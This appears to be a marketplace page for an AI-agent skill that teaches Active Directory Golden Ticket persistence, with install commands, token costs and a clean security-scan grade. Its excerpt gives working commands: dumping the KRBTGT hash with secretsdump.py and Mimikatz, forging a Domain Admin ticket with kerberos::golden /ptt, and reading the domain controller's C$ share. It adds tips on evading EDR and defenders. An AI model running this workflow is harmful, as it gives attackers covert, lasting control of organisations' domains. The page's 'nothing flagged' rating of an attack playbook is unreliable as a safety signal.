Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/active-directory-golden-ticketWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/active-directory-golden-ticket)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/active-directory-golden-ticket"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/active-directory-golden-ticket/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/active-directory-golden-ticket"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/active-directory-golden-ticket.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00077 | $0.02161 |
| Opus 5 | $0.00039 | $0.01081 |
| Sonnet 5 | $0.00015 | $0.00432 |
| Haiku 4.5 | $0.00008 | $0.00216 |
Grade A, and why
active-directory-golden-ticket scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to active-directory-golden-ticket — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 166 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Active Directory Persistence: Golden Ticket
When to Use
- After fully compromising an Active Directory domain (Domain Admin privileges achieved).
- To maintain long-term, stealthy access (Persistence) to a network during prolonged Red Team ops.
- To simulate high-end APT behaviors (e.g., APT29/Cozy Bear, SolarWinds breach).
- When you foresee the blue team discovering your current access and resetting traditional passwords.
Prerequisites
- Administrative or SYSTEM-level access on the target Windows/Linux host
- Understanding of the target's monitoring posture (Sysmon, EDR coverage)
- C2 framework beacon or payload ready for deployment
- Cleanup procedure documented before persistence is established
Workflow
Phase 1: Obtaining the KRBTGT Hash (The Keys to the Kingdom)
# Concept: In Active Directory, the KRBTGT account is a disabled, built-in account responsible
# for mathematically signing and encrypting all Kerberos TGT tickets.
# If we steal this account's NTLM Hash or AES key, we can theoretically sign our OWN tickets
# that the Domain Controllers will blindly accept as valid.
# Method 1: DCSync over the network (Loudest, but easiest)
# From a machine with Domain Admin privileges (via Impacket/Linux)
secretsdump.py CORP.LOCAL/AdminUser:[email protected] -just-dc-user krbtgt
# Method 2: Local extraction via Mimikatz (Requires RDP/Shell to the Domain Controller)
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
# Resulting Requirement: You MUST securely record the following:
# 1. Domain Name (e.g., CORP.LOCAL)
# 2. Domain SID (e.g., S-1-5-21-29177196-1896752002-3652875151) -> Strip off the trailing -500
# 3. KRBTGT NTLM Hash (e.g., e0137ce52e935a82229dc47bc230f81d)
# Or better: KRBTGT AES256 Key (Much stealthier, harder for EDR to spot)
Phase 2: Forging the Golden Ticket (Windows / Mimikatz)
# Concept: We now leave the domain controller. You can go to a completely unprivileged
# workstation, or even a non-domain joined machine passing traffic in, and forge a ticket.
# 1. Open Mimikatz on any Windows endpoint
mimikatz # privilege::debug
# 2. Construct the purely forged ticket. Note: We assign ourselves the RID 500 (Built-in Administrator)
# and give it a valid Active Directory group of Domain Admins (512).
mimikatz # kerberos::golden /user:FakeUser /domain:CORP.LOCAL /sid:S-1-5-21-29177196-1896752002-3652875151 /krbtgt:e0137ce52e935a82229dc47bc230f81d /id:500 /groups:512,513,518,519,520 /ptt
# Note on OPSEC: Passing `/ptt` automatically injects the forged ticket into the current memory session.
# If you pass a filename (`/ticket:golden.kirbi`), it saves it to disk for later use.
# 3. Verify the ticket is in memory
klist
# 4. Access Domain Controller C$ drive as the non-existent 'FakeUser'
dir \\dc01.corp.local\C$
# SUCCESS: Total Domain Dominance achieved.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 166 lines · 77 tokens per session scan A 8ef2ab4e7688
active-directory-golden-ticket is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 77 tokens to every session and 2,161 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to active-directory-golden-ticket, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
active-directory-golden-ticket
Forge highly privileged Kerberos Ticket Granting Tickets (TGTs) to gain persistent, undetectable, and long-term administrative access across an entire Active Directory domain. Use this skill during the final stages of a Red Team operation after Domain Admin access has been achieved, simulating an Advanced Persistent…
active-directory-full-attack-chain
Execute a complete Active Directory penetration test from initial enumeration to domain dominance. Use this skill for AD security assessments including LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP roasting), BloodHound attack path analysis, credential dumping with Mimikatz, lateral movement via…
conducting-domain-persistence-with-dcsync
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
conducting-domain-persistence-with-dcsync
Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extract KRBTGT, Domain Admin, and service account hashes for Golden Ticket forging, typically with Mimikatz. Use in authorized engagements after finding principals with replication…
conducting-domain-persistence-with-dcsync
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
detecting-golden-ticket-forgery
Use when detect Kerberos Golden Ticket forgery by analyzing Windows Event ID 4769 for RC4 encryption downgrades (0x17), abnormal ticket lifetimes, and krbtgt account anomalies in Splunk and Elastic SIEM. Use when detecting kerberos golden ticket forgery by analyzing windows event id.